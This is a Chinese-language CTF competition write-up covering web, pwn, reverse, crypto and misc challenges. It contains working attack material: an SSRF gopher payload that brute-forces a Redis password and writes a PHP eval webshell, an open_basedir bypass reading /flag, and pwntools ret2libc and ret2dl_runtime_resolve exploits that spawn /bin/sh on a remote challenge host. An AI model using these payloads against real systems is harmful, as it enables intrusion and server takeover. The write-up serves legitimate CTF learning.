抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

web题恶心的离谱,但也是自己功夫不到家。期待官方wp

web

ez_ssrf

打开发现代码存在SSRF。那么扫描端口http://183.129.189.61:50400/index.php?url=dict://127.0.0.1:6379/info
发现redis存在,并且存在一个redis认证。简单爆破一下看看是否存在弱密码
w2tNDA.md.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hackhttp

hh = hackhttp.hackhttp()

url = "http://183.129.189.61:50400/index.php?url="
f=open("payload.txt","r")
while 1:
line=f.readline()
line=line.strip("\n")
if not line:
break
#print line
length=len(line)
payload="gopher://127.0.0.1:6379/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(length)+"%250d%250a"+line+"%250D%250A%252A1%250D%250A"
code, head, body, redirect, log = hh.http(url+payload)
if "OK"in body:
print payload
print "mima is "+line
break

发现弱密码是123456,并且发现存在一个upload目录,那么我们构造数据包最终为
gopher://127.0.0.1:6379/_%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%41%55%54%48%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%33%30%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%65%76%61%6c%25%32%38%25%32%34%5f%47%45%54%25%35%42%25%32%37%61%25%32%37%25%35%44%25%32%39%25%33%42%25%32%30%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%32%31%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%75%70%6c%6f%61%64%2f%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%25%36%36%25%36%39%25%36%63%25%36%35%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%74%65%73%74%32%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41%25%30%41

此处是将file首先编码一次然后再二次编码所得,绕过index.php存在的过滤

因此在这里访问:test.php看到phpinfo中存在disable_function和open_basedir

简单的看了看disable_function中过滤并不完整readfile没有被过滤并且open_basedir可以使用open_baedir绕过脚本

1
2
3
4
5
6
7
8
9
10
11
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=readfile('/flag');
var_dump($a);

w2UX9K.md.png

发现flag

re

pyreverse

https://www.cnblogs.com/0x4D75/p/11161797.html
采用这篇blog的第二个方法
w2dqSK.png
但本题不需要去签名,直接成功
得到文件夹
w2wFl8.png
然后将struct中的头部结构添加到pyreverse文件中
修改后缀反编译即可
贴出解题脚本

1
2
3
4
5
str = "[^L\\KYd'),{{&}/*}.}'}y-/(-){|.*&&*~z|-'b"
flag = ''
for i in str:
flag = flag + chr(ord(i) ^ 31)
Print(flag)

pwn

ddstack

打开IDA分析文件

w2BnzV.png

可以看到有两次写入,第一次写入大小为0x30,第二次写入为大小为nbytes,写入的地址都是&buf,

进入&buf查看栈布局

w2DQpt.png
发现buf到栈底的大小为0x34(大于大二次写入时nbytes要求的0x30),nbytes的位置距离栈底为0xc,
而第一次写入字符的上限是0x30大于(0x34-0xc),
由此发现漏洞:可以第一次写入时可以更改nbytes的大小,从而使第二次写入任意长度的字符串造成栈溢出,从而实现劫持程序执行流。
Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context.binary = "./ddstack"
ddstack = context.binary

p = remote('183.129.189.61', 52205)

libc = ELF('./libc-2.23.so')

puts_plt = ddstack.plt['puts']
puts_got = ddstack.got['puts']
pop1_ret = 0x804837d
vuln_addr = 0x8048520

p.recvuntil(b'\n')
p.sendline(b'\x00'*0x28+p32(0x500))

payload = b'\x00'*0x38+p32(puts_plt)+ p32(pop1_ret) + p32(puts_got) +p32(vuln_addr)
p.recvuntil(b'\n')
p.sendline(payload)
puts_libc_addr = u32(p.recv(4))
print('puts addr:'+hex(puts_libc_addr))
puts_libc_offset = libc.symbols['puts']
print(hex(puts_libc_offset))
libc_addr = puts_libc_addr - puts_libc_offset
print('lib base:'+hex(libc_addr))
ogg_addr = libc_addr + 0x3a81c
system_addr = libc_addr+libc.symbols['system']
binsh_addr = libc_addr + 0x0015910b
p.recvuntil(b'\n')
p.sendline(b'\x00'*0x28+p32(0x500))
payload = b'\x00'*0x38+p32(system_addr)+ p32(pop1_ret) + p32(binsh_addr) +p32(vuln_addr)
p.recvuntil(b'\n')
p.sendline(payload)
p.interactive()

pwnxzd

一上来就看到了vuln_func,点开一看,只是一个有溢出漏洞的函数,并且没有函数调用就很奇怪
w2yw9A.png
看到主函数中有一个使用指针调用函数的地方,只要修改addr指向vuln_func函数就能触发漏洞。
w2yyB8.png
输入:
‘’’
-6 600000
4 134513851
1 123456
‘’’
执行到vuln_func函数:
有栈溢出但是没有输出函数可用,那就指定是ret2_dl_runtime_resolve:
先调用read函数用于再bss段上输入下一个paylaod,再用栈迁移将栈移到bss段中:
rop.raw(‘a’ * offset)
rop.read(0, base_stage, 100)
rop.migrate(base_stage)
再继续伪造符号表项:
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym)
st_name = fake_sym_addr + 0x10 - dynstr //st_name指向符号表对应字符串相对于字符串表的索引
fake_write_sym = flat([st_name, 0, 0, 0x19])
和重定位项:
index_offset = base_stage + 24 - rel_plt
fake_got = pwn4.got[‘__isoc99_scanf’]
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([fake_got, r_info])
伪造栈中内容:
rop.raw(plt0)
rop.raw(index_offset)
rop.raw(‘bbbb’)
rop.raw(base_stage + 82)
rop.raw(‘bbbb’)
rop.raw(‘bbbb’)
rop.raw(fake_write_reloc)
rop.raw(‘a’ * align) # padding
rop.raw(fake_write_sym)
rop.raw(‘system\x00’)
rop.raw(‘a’ * (80 - len(rop.chain())))
rop.raw(sh + ‘\x00’)
rop.raw(‘a’ * (100 - len(rop.chain())))
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.binary = "./pwn4"
pwn4 = context.binary
rop = ROP('./pwn4')

vuln_addr = 134513851
p.sendline(b'-5 65535')
p.sendline(b'4 134513851')
p.sendline(b'1 123456')

offset = 28
bss_addr = pwn4.bss()

stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw('a' * offset)
rop.read(0, base_stage, 100)
rop.migrate(base_stage)
p.sendline(rop.chain())

rop = ROP('./pwn4')
sh = "/bin/sh"

plt0 = pwn4.get_section_by_name('.plt').header.sh_addr
rel_plt = pwn4.get_section_by_name('.rel.plt').header.sh_addr
dynsym = pwn4.get_section_by_name('.dynsym').header.sh_addr
dynstr = pwn4.get_section_by_name('.dynstr').header.sh_addr

fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) // 0x10 # calculate the dynsym index of write
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x19])

index_offset = base_stage + 24 - rel_plt
fake_got = pwn4.got['__isoc99_scanf']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([fake_got, r_info])

rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc)
rop.raw('a' * align)
rop.raw(fake_write_sym)
rop.raw('system\x00')
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))
print(rop.chain())
p.sendline(rop.chain())
p.interactive()

CRYPTO

more_and_more

用nc链接后
w2qR10.png
观察后联想到e与phi_n不互素,构造出e和phi(n)互素的情况,求出e2和phi_n 的逆元作为dd求出m2,对m2进行开方即可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import libnum
import gmpy2
n = [175244107616547332866730750185981814617957387479206131883327619678143859414917261557090068672641419524614082746718149196623832474591257254688029368786873659380810545544100093732206528310797663780323115004084293607571875376201003925886997130958845085335102862834229352381711568684829807273446043286026429784507]
c = [21584853678639373844706372673402978302367491374400753174448826706430954893731606437969950845160175905352220952818580141736392378203099462357081187525146295619472153677345050680091134337322577619625346776539480539709599567808902655164874470864640210333208364478253093461945151332942720768877894297441396061122]
e = 98
phi_n = n[0] - 1
print(gmpy2.gcd(e,phi_n0))
e_2 = e // 2
print(gmpy2.gcd(e_2,phi_n))
dd = gmpy2.invert(e_2,phi_n)
m2 = pow(c[0],dd,n[0])
m = gmpy2.iroot(m2,2)
print(m[0])
print(long_to_bytes(m[0]))

MISC

EasyPy

打开文件,发现是个字节码文件 手撕字节码尝试复原所表达的大概为:

1
2
3
4
5
6
def a():
flag = 'r1ght0us'
flag = flag.upper()
flag = flag[::-1]
for i in range(len(flag)):
print(chr((ord(flag[i])+i)^(len(flag)-i)))

那么我们写出逆向的脚本来

1
2
3
4
5
6
7
flag = '[cgjegl_&]!VW&KS_GVXHWI_EVCVDXGc^™mgrj' #res
res = ''
for i in range(len(flag)):
test = ord(flag[i])^(len(flag)-i)
res += chr(test-i)
print(res)
print(res[::-1].lower())

BaseBase

打开压缩包发现:
w26F4H.png

根据文件大小并且CRC校验我们可以爆破一下
w26QUg.png

密码为:this_is_pass_word_
然后解压打开flag.docx

发现一个字符串:OG5DRHEzNnNsU0g0RHljVlFvOVhoUjRhRjN1M3g4UGtQOGdrYjVydzVIdHBVZjNqSTJ0Mw==
先base64 再base62即可

寻找上古之森的秘密

先使用steghide爆破出jpg里隐藏的信息
w2cWyq.png
然后使用脚本爆破,发现密码为123456abc
w2cLlR.png

然后使用脚本获取到secret.wav密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python3
'''
deepsound2john extracts password hashes from audio files containing encrypted
data steganographically embedded by DeepSound (http://jpinsoft.net/deepsound/).
This method is known to work with files created by DeepSound 2.0.
Input files should be in .wav format. Hashes can be recovered from audio files
even after conversion from other formats, e.g.,
ffmpeg -i input output.wav
Usage:
python3 deepsound2john.py carrier.wav > hashes.txt
john hashes.txt
This software is copyright (c) 2018 Ryan Govostes <rgovostes@gmail.com>, and
it is hereby released to the general public under the following terms:
Redistribution and use in source and binary forms, with or without
modification, are permitted.
'''

import logging
import os
import sys
import textwrap


def decode_data_low(buf):
return buf[::2]

def decode_data_normal(buf):
out = bytearray()
for i in range(0, len(buf), 4):
out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
return out

def decode_data_high(buf):
out = bytearray()
for i in range(0, len(buf), 8):
out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \
| (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
return out


def is_magic(buf):
# This is a more efficient way of testing for the `DSCF` magic header without
# decoding the whole buffer
return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \
and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \
and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)


def is_wave(buf):
return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'


def process_deepsound_file(f):
bname = os.path.basename(f.name)
logger = logging.getLogger(bname)

# Check if it's a .wav file
buf = f.read(12)
if not is_wave(buf):
global convert_warn
logger.error('file not in .wav format')
convert_warn = True
return
f.seek(0, os.SEEK_SET)

# Scan for the marker...
hdrsz = 104
hdr = None

while True:
off = f.tell()
buf = f.read(hdrsz)
if len(buf) < hdrsz: break

if is_magic(buf):
hdr = decode_data_normal(buf)
logger.info('found DeepSound header at offset %i', off)
break

f.seek(-hdrsz + 1, os.SEEK_CUR)

if hdr is None:
logger.warn('does not appear to be a DeepSound file')
return

# Check some header fields
mode = hdr[4]
encrypted = hdr[5]

modes = {2: 'low', 4: 'normal', 8: 'high'}
if mode in modes:
logger.info('data is encoded in %s-quality mode', modes[mode])
else:
logger.error('unexpected data encoding mode %i', modes[mode])
return

if encrypted == 0:
logger.warn('file is not encrypted')
return
elif encrypted != 1:
logger.error('unexpected encryption flag %i', encrypted)
return

sha1 = hdr[6:6+20]
print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))


if __name__ == '__main__':
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--verbose', '-v', action='store_true')
parser.add_argument('files', nargs='+', metavar='file',
type=argparse.FileType('rb', bufsize=4096))
args = parser.parse_args()

if args.verbose:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.WARN)

convert_warn = False

for f in args.files:
process_deepsound_file(f)

if convert_warn:
print(textwrap.dedent('''
---------------------------------------------------------------
Some files were not in .wav format. Try converting them to .wav
and try again. You can use: ffmpeg -i input output.wav
---------------------------------------------------------------
'''.rstrip()), file=sys.stderr)

然后再用john跑一下获得的密码
最终发现deepsound的密码是qwertyuiop

发现flag尝试导出,并且在目录中发现了压缩包密码:&sf8823*/@
flag多次base64之后,发现是一串AES字符串
U2FsdGVkX18y3W4CGIjoHFDovK2bPWbYmsGuXnWGVmdVrpWZkT+m+qDWgel6KAEf%0AQRJk7f6EVzt5FGWMexokBA%3D%3D

最后根据精灵语解码发现最后的KEY是:KEYISHERE
w22pD0.png
然后AES解密得到flag
w22cMn.png

评论